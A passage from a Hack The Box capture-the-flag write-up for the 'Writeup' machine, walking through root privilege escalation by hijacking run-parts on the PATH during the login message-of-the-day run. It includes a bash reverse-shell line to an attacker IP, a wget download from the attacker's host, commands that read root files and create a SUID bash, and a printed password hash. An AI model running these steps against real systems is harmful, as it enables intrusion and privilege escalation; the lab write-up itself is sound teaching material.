bin, games, sbin were all highlighted - this leads me to think there is a cron exploit of some kind.

Finally, it also found a password hash:

[+] Searching specific hashes inside files - less false positives (limit 70)
/etc/apache2/passwords:$apr1$zXpnkbX6$LPzyE8Wa0d1yNQ4/F8aQa.

Exploiting cron

I spent a bit of time figuring this out, but as always you can skip to the working exploit.

We’ll run pspy to see what’s happening on the box:

jkr@writeup:/tmp$ wget http://10.10.16.211:8000/pspy64
--2021-07-15 16:46:49--  http://10.10.16.211:8000/pspy64
Connecting to 10.10.16.211:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                             100%[=============================================================================================================>]   2.94M  1.40MB/s    in 2.1s    c

2021-07-15 16:46:52 (1.40 MB/s) - ‘pspy64’ saved [3078592/3078592]

jkr@writeup:/tmp$ chmod +x pspy64 
jkr@writeup:/tmp$ ./pspy64 

We see the cron jobs pop up, running /root/bin/cleanup.pl:

2021/07/15 16:48:01 CMD: UID=0    PID=12568  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 
2021/07/15 16:49:01 CMD: UID=0    PID=12569  | /usr/sbin/CRON 
2021/07/15 16:49:01 CMD: UID=0    PID=12570  | /usr/sbin/CRON 
2021/07/15 16:49:01 CMD: UID=0    PID=12571  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 
2021/07/15 16:50:01 CMD: UID=0    PID=12572  | /usr/sbin/CRON 
2021/07/15 16:50:01 CMD: UID=0    PID=12573  | /usr/sbin/CRON 

I couldn’t read the file:

jkr@writeup:~$ cat /root/bin/cleanup.pl
cat: /root/bin/cleanup.pl: Permission denied

/bin/sh is absolute, so we can’t just make a new file in the path and hijack the root call.

Eventually I logged via in from another terminal tab to checkout the script, and it triggered a Message of the Day:

2021/07/15 16:50:13 CMD: UID=102  PID=12576  | sshd: [net]       
2021/07/15 16:50:45 CMD: UID=0    PID=12577  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 16:50:45 CMD: UID=0    PID=12578  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 16:50:45 CMD: UID=0    PID=12579  | run-parts --lsbsysinit /etc/update-motd.d 
2021/07/15 16:50:45 CMD: UID=0    PID=12580  | uname -rnsom 
2021/07/15 16:50:45 CMD: UID=0    PID=12581  | sshd: jkr [priv]  

uname is called without an absolute path - could we write a malicious uname binary that gives us a shell?

jkr@writeup:~$ which bash
/bin/bash
jkr@writeup:~$ echo 'bash -i >& /dev/tcp/10.10.14.211/9001 0>&1' > /usr/local/sbin/uname

I tried to trigger this by logging in in another pane, but didn’t get a shell.

After some more enumeration, it looks like uname was called by someone else working on the box, and this was just a coincidence after I logged in - it didn’t trigger a second time:

2021/07/15 16:56:20 CMD: UID=102  PID=12611  | sshd: [net]       
2021/07/15 16:56:32 CMD: UID=0    PID=12612  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 16:56:32 CMD: UID=0    PID=12613  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 16:56:32 CMD: UID=0    PID=12614  | run-parts --lsbsysinit /etc/update-motd.d 
2021/07/15 16:56:32 CMD: UID=0    PID=12615  | 
2021/07/15 16:56:32 CMD: UID=0    PID=12616  | sshd: jkr [priv]  
2021/07/15 16:56:32 CMD: UID=1000 PID=12617  | sshd: jkr@pts/1   
2021/07/15 16:56:32 CMD: UID=1000 PID=12618  | -bash 
2021/07/15 16:56:32 CMD: UID=1000 PID=12619  | -bash 
2021/07/15 16:56:32 CMD: UID=1000 PID=12620  | -bash 
2021/07/15 16:56:32 CMD: UID=1000 PID=12621  | -bash 
2021/07/15 16:57:01 CMD: UID=0    PID=12622  | /usr/sbin/CRON 
2021/07/15 16:57:01 CMD: UID=0    PID=12623  | /usr/sbin/CRON 
2021/07/15 16:57:01 CMD: UID=0    PID=12624  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 
2021/07/15 16:57:02 CMD: UID=0    PID=12625  | sshd: [accepted]
2021/07/15 16:57:02 CMD: UID=0    PID=12626  | sshd: [accepted]  
2021/07/15 16:57:06 CMD: UID=0    PID=12627  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 16:57:06 CMD: UID=0    PID=12628  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 16:57:06 CMD: UID=0    PID=12629  | run-parts --lsbsysinit /etc/update-motd.d 

This is a lesson to always try things twice before you jump down a rabbit hole.

Hijacking run-parts

The consistently run commands are the run-parts commands:

2021/07/15 17:14:46 CMD: UID=0    PID=12695  | sshd: jkr [priv]  
2021/07/15 17:14:46 CMD: UID=0    PID=12696  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 17:14:46 CMD: UID=0    PID=12697  | run-parts --lsbsysinit /etc/update-motd.d 
2021/07/15 17:14:46 CMD: UID=0    PID=12698  | 
2021/07/15 17:14:46 CMD: UID=0    PID=12699  | sshd: jkr [priv]  
2021/07/15 17:14:46 CMD: UID=1000 PID=12700  | -bash 
2021/07/15 17:14:46 CMD: UID=1000 PID=12701  | -bash 
2021/07/15 17:14:46 CMD: UID=1000 PID=12702  | -bash 
2021/07/15 17:14:46 CMD: UID=1000 PID=12703  | -bash 
2021/07/15 17:14:46 CMD: UID=1000 PID=12704  | -bash 
2021/07/15 17:15:01 CMD: UID=0    PID=12705  | /usr/sbin/CRON 
2021/07/15 17:15:01 CMD: UID=0    PID=12706  | /usr/sbin/CRON 
2021/07/15 17:15:01 CMD: UID=0    PID=12707  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 

So I tried hijacking this binary instead:

jkr@writeup:~$ echo 'bash -i >& /dev/tcp/10.10.14.211/9001 0>&1' > /usr/local/sbin/run-parts
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts

The idea behind this exploit is to write a new run-parts binary to the /usr/local/sbin/ directory, which is a higher priority on the path than the usual run-parts binary. This means that when the MOTD script triggers our code will be run.

I tried this a few times, watching pspy to check if the echo command was run as root. One of the issues that I ran into was that the chmod +x permissions wouldn’t persist after the cleanup script was run, so I had to be fast logging in after modifying it. Another issue was that my replacemenet script didn’t seem to trigger unless it had a shebang (which I spotted 0xdf adding after I checked his writeup to make sure I was on the right track).

I tried again, checking the file still existed before I logged in:

jkr@writeup:~$ echo '#!/bin/sh' > /usr/local/sbin/run-parts
jkr@writeup:~$ echo 'cat /root/root.txt > /tmp/twig' >> /usr/local/sbin/run-parts
jkr@writeup:~$ cat /usr/local/sbin/run-parts
#!/bin/sh
cat /root/root.txt > /tmp/
jkr@writeup:~$ ls -la /usr/local/sbin/run-parts
-rw-r--r-- 1 jkr staff 41 Jul 15 17:27 /usr/local/sbin/run-parts
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts

Then I logged in to trigger it, and checked if the flag had been copied:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 15 17:28:17 2021 from 10.10.16.211
jkr@writeup:~$ cat /tmp/twig 
eeba47f60b48ef92b734f9b6198d7226

Nice! We have code execution, and can read the flag.

That’s the box!

But can we get a root shell?

Getting a Shell

I first tried getting a root SSH key, in case it existed:

jkr@writeup:~$ echo '#!/bin/sh' > /usr/local/sbin/run-parts
jkr@writeup:~$ echo 'cat /root/.ssh/id_rsa > /tmp/twig' >> /usr/local/sbin/run-parts
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts

There was nothing:

jkr@writeup:~$ cat /tmp/twig 
jkr@writeup:~$ 

As I’d finished the box, I thought I’d check methods other people had used. 0xdf copies bash and gives it u+s permissions (SUID, to let it run as root). I tried to replicate this, without checking 0xdf’s actual script:

jkr@writeup:~$ echo '#!/bin/sh' > /usr/local/sbin/run-parts
jkr@writeup:~$ echo 'cp /bin/bash /tmp/twig && chmod u+s /tmp/twig' >> /usr/local/sbin/run-parts
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts

This worked:

jkr@writeup:~$ /tmp/twig
-bash: /tmp/twig: Permission denied
jkr@writeup:~$ ls -la /tmp/
total 4420
drwxrwxrwt  4 root root    4096 Jul 15 17:36 .
drwxr-xr-x 22 root root    4096 Apr 19  2019 ..
-rwxr-xr-x  1 jkr  jkr   325084 Feb 11 10:48 linpeas.sh
-rwxr-xr-x  1 jkr  jkr  3078592 Jun 20  2020 pspy64
-rwSr--r--  1 root root 1099016 Jul 15 17:36 twig
drwx------  2 root root    4096 Jul 15 15:09 vmware-root
drwx------  2 root root    4096 Jul 15 15:09 vmware-root_1452-2731021070
jkr@writeup:~$ ls -la /tmp/twig
-rwSr--r-- 1 root root 1099016 Jul 15 17:36 /tmp/twig

But it wasn’t executable:

jkr@writeup:~$ /tmp/twig
twig-4.4$ whoami
jkr
twig-4.4$ 

We can see it working in pspy which is cool:

2021/07/15 17:37:29 CMD: UID=0    PID=12918  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2021/07/15 17:37:29 CMD: UID=0    PID=12919  | cp /bin/bash /tmp/twig 
2021/07/15 17:37:29 CMD: UID=0    PID=12920  | chmod u+s /tmp/twig 
2021/07/15 17:37:29 CMD: UID=0    PID=12921  | /bin/sh /usr/local/sbin/run-parts --lsbsysinit /etc/update-motd.d 
2021/07/15 17:37:29 CMD: UID=0    PID=12922  | sshd: jkr [priv]  
2021/07/15 17:37:29 CMD: UID=1000 PID=12923  | -bash 
2021/07/15 17:37:29 CMD: UID=1000 PID=12924  | -bash 
2021/07/15 17:37:29 CMD: UID=1000 PID=12925  | -bash 
2021/07/15 17:37:29 CMD: UID=1000 PID=12926  | -bash 
2021/07/15 17:37:29 CMD: UID=1000 PID=12927  | -bash 
2021/07/15 17:37:34 CMD: UID=1000 PID=12928  | -bash 
2021/07/15 17:37:36 CMD: UID=1000 PID=12929  | /tmp/twig 
2021/07/15 17:38:01 CMD: UID=0    PID=12930  | /usr/sbin/CRON 
2021/07/15 17:38:01 CMD: UID=0    PID=12931  | /usr/sbin/CRON 
2021/07/15 17:38:01 CMD: UID=0    PID=12932  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 

I remade the payload, adding executable permissions:

jkr@writeup:~$ echo '#!/bin/sh' > /usr/local/sbin/run-parts
jkr@writeup:~$ echo 'cp /bin/bash /tmp/twig && chmod u+s /tmp/twig && chmod +x /tmp/twig' >> /usr/local/sbin/run-parts
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts

I then ran it - I just had to tell bash not to drop privileges with the -p flag!

We can also confirm there’s no ssh key while we’re here:

twig-4.4# ls -la /root/.ssh
ls: cannot access '/root/.ssh': No such file or directory

Key Lessons